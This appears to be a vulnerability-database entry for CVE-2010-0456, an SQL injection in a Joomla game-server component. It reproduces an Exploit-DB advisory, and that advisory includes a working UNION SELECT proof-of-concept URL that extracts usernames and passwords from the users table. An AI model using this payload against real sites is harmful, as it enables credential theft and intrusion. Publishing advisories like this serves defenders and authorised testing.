CVE-2010-0456

high

Published 2010-01-28 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

SQL injection vulnerability in the indianpulse Game Server (com_gameserver) component 1.2 for Joomla! allows remote attackers to execute arbitrary SQL commands via the grp parameter in a gameserver action to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-11222 webapps php verified text · 1 KB

B-HUNT3|2 · 2010-01-22

Joomla! Component com_gameserver - SQL Injection

text exploit Source: Exploit-DB

# Exploit Title: Joomla (com_gameserver) SQL Injection Vulnerability
# Date: 2010-01-22
# Author: B-Hunt3|2
# Software Link: http://joomlacode.org/gf/project/gameserver/frs/
# Version: 1.2
# CVE : N/A

[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_gameserver) SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: Demo Site

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var "grp" is vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.2 but probably other versions also. 
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/component/gameserver/?view=gameserver&grp=[SQL]
[~]>> http://server/component/gameserver/?view=gameserver&grp=-1'+union+all+select+1,concat(username,0x3A,password),3,4,5,6,7+from+jos_users%23

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...

Application impact

Vendor	Product	Versions	Fixed
indianpulses	com_gameserver	`1.2`
joomla	joomla\!

References

CWEs

CWE-89

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